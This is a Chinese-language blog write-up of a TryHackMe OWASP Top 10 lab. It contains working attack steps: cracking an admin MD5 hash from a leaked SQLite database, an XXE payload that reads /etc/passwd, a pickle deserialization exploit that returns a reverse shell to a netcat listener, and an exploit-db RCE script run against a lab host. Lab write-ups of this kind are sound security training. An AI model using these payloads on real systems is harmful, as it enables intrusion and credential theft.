tryhackme-OWASP
tryhackme-OWASP Top 10部分记录
敏感信息泄露
在assets目录中
可以看到到一个sqlite数据库的webapp.db文件
使用sqlite3 webapp.db
.tables查看表
会发现users表
pragma table_info(users);select * from users;
查看数据
其中含有管理员账号admin以及密码的md5值,爆破即可
XML外部实体
XML 外部实体 (XXE) 攻击是滥用 XML 解析器/数据功能的漏洞。它通常允许攻击者与应用程序本身可以访问的任何后端或外部系统进行交互,并允许攻击者读取该系统上的文件。它们还可能导致拒绝服务 (DoS) 攻击,或者可以使用 XXE 执行服务器端请求伪造 (SSRF),从而诱使 Web 应用程序向其他应用程序发出请求。XXE 甚至可以启用端口扫描并导致远程代码执行。
每个XML文档大多以所谓的XML Prolog开头
<?xml version="1.0" encoding="UTF-8"?>
每个 XML 文档都必须包含一个“ROOT”元素
<?xml version="1.0" encoding="UTF-8"?>
<mail>
<to>falcon</to>
<from>feast</from>
<subject>About XXE</subject>
<text>Teach about XXE</text>
</mail>
XML中的DTD
DTD 代表 文档类型定义。DTD 定义 XML 文档的结构、法律元素和属性
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
例如:下面给出了一个 XML 文档,该文档使用note.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>falcon</to>
<from>feast</from>
<heading>hacking</heading>
<body>XXE attack</body>
</note>
有效载荷
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>
如我们所见,我们正在定义一个被调用并为其赋值。
再次定义了一个带有名称的ENTITY,但不同之处在于我们将其值设置为“SYSTEM”和文件的路径。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
不安全的反序列化
可利用脚本
https://assets.tryhackme.com/additional/cmn-owasptopten/pickleme.py
修改其中的ip为本地vpn的ip或attackbox中ip
本地监听
nc -lvnp 4444
python3 pickleme.py
将输出的结果替换浏览器中的cookie
刷新,本地即可获得shell
具有已知漏洞的组件
google搜索:CSE Bookstore RCE漏洞
会找到这个可利用的CVE
https://www.exploit-db.com/exploits/47887
下载到本地
利用:python3 47884.py http://10.10.184.87
获得RCE

tryhackme-OWASP的更多相关文章
- 配置OWASP的ModSecurity规则
1.下载OWASP的ModSecurity规则 cd /etc/httpd git clone https://github.com/SpiderLabs/owasp-modsecurity-crs. ...
- OWASP WEB会话管理备忘单 阅读笔记
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Session_ID_Properties 会话简介 HTTP是一种无状态 ...
- OWASP
开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)是一个组织,它提供有关计算机和互联网应用程序的公正.实际.有成本效益的信息.其目的 ...
- OWASP Top 10 – 2013, 最新十大安全隐患(ASP.NET解决方法)
OWASP(开放Web软体安全项目- Open Web Application Security Project)是一个开放社群.非营利性组织,目前全球有130个分会近万名会员,其主要目标是研议协助解 ...
- OWASP 2013年十大Web应用安全漏洞
权威的安全组织OWASP 更新了Top 10:https://www.owasp.org/index.php/Top_10_2013-Top_10 十大安全漏洞分别是:1. 注入,包括SQL.操作系统 ...
- 配置ModSecurity防火墙与OWASP规则
中文译文参考:http://netsecurity.51cto.com/art/201407/446264.htm 英文原文参考:http://resources.infosecinstitute.c ...
- Welcome to OWASP CHINA — OWASP-CHINA
Welcome to OWASP CHINA - OWASP-CHINA undefined
- 转:OWASP发布Web应用程序的十大安全风险
Open Web Application Security Project(OWASP)是世界范围内的非盈利组织,关注于提高软件的安全性.它们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险 ...
- ASP.NET Core中的OWASP Top 10 十大风险-SQL注入
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
- ASP.NET Core中的OWASP Top 10 十大风险-失效的访问控制与Session管理
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
随机推荐
- 如何在 SpringBoot 项目中接入 ChartGPT
大家好,我是公子骏.最近体验了火爆全网的 ChartGPT,深刻体会了其强大的能力,这让我们程序猿对AI的未来突然有了广大的畅想空间. 我也在网上看到不少大牛通过 ChartGPT 来获取收益,就寻思 ...
- pysimplegui之popup弹出框
弹出框其实跟信息框差不多,在写界面的时候经常用,具体如下 "高级呼叫"是以"弹出"开头的呼叫.它们是与用户沟通的最基本形式.它们以它们创建的窗口类型命名,即弹出 ...
- mysql锁及锁出现总结
转载请注明出处: 1.按锁粒度分类: 行锁:锁某行数据,锁粒度最小,并发度高:: 行锁是指加锁的时候锁住的是表的某一行或多行记录,多个事务访问同一张表时,只有被锁住的记录不能访问,其他的记录可正常访问 ...
- python:生成半年内的巡检日报execl
问题描述:使用脚本来生成半年内的数据,数据内容大概为每天的数据库巡检日报,临时抱佛脚.数据不可能是真实的,都是随机生成的,想要使用真实的数据后面直连操作系统或者数据库.后期可以慢慢实现自动化生成每天的 ...
- [备份]Open-CMSIS-Pack Flash Programing
Flash Programming Flash Programming Algorithms are a piece of software to erase or download applicat ...
- jenkins 自动化部署 2023
参考 https://www.jenkins.io/doc/book/installing/docker/ https://blog.csdn.net/zqqiang0307/article/deta ...
- 去中心化金融-Lec3
区块链 (什么是区块链?)区块链提供了一种无需可信的参与方,能够让多个参与方实现合作的方式(若存在可信的第三方,则不需要区块链:但是金融系统中往往没有可信的第三方) 终端用户工具:user inter ...
- Maven的大概了解及总结setting和pom
前言:项目中经常要用到Maven,从来也没有配置过,直到当人问到Maven是干什么的,是怎么管理项目的?一头雾水,所以写了这篇博客,首先附上百度百科的词条: Maven项目对象模型(POM),可以通过 ...
- Python 创建数字列表
创建数字列表 用于存储数字集合,高效地处理数字列表 使用函数range() range(value1,value2),从指定的第一个值开始数,到达指定的第二个值后停止,输出不包含第二个值 使用rang ...
- Centos7 部署Django项目 uwsgi + nginx
启动 首先确保你的django项目是可以在虚拟环境中跑起来的,环境管理窝用的是pyenv,pyenv不知道什么东西的可以参考窝之前写过的Pyenv环境管理的安装文. 项目启动 python manag ...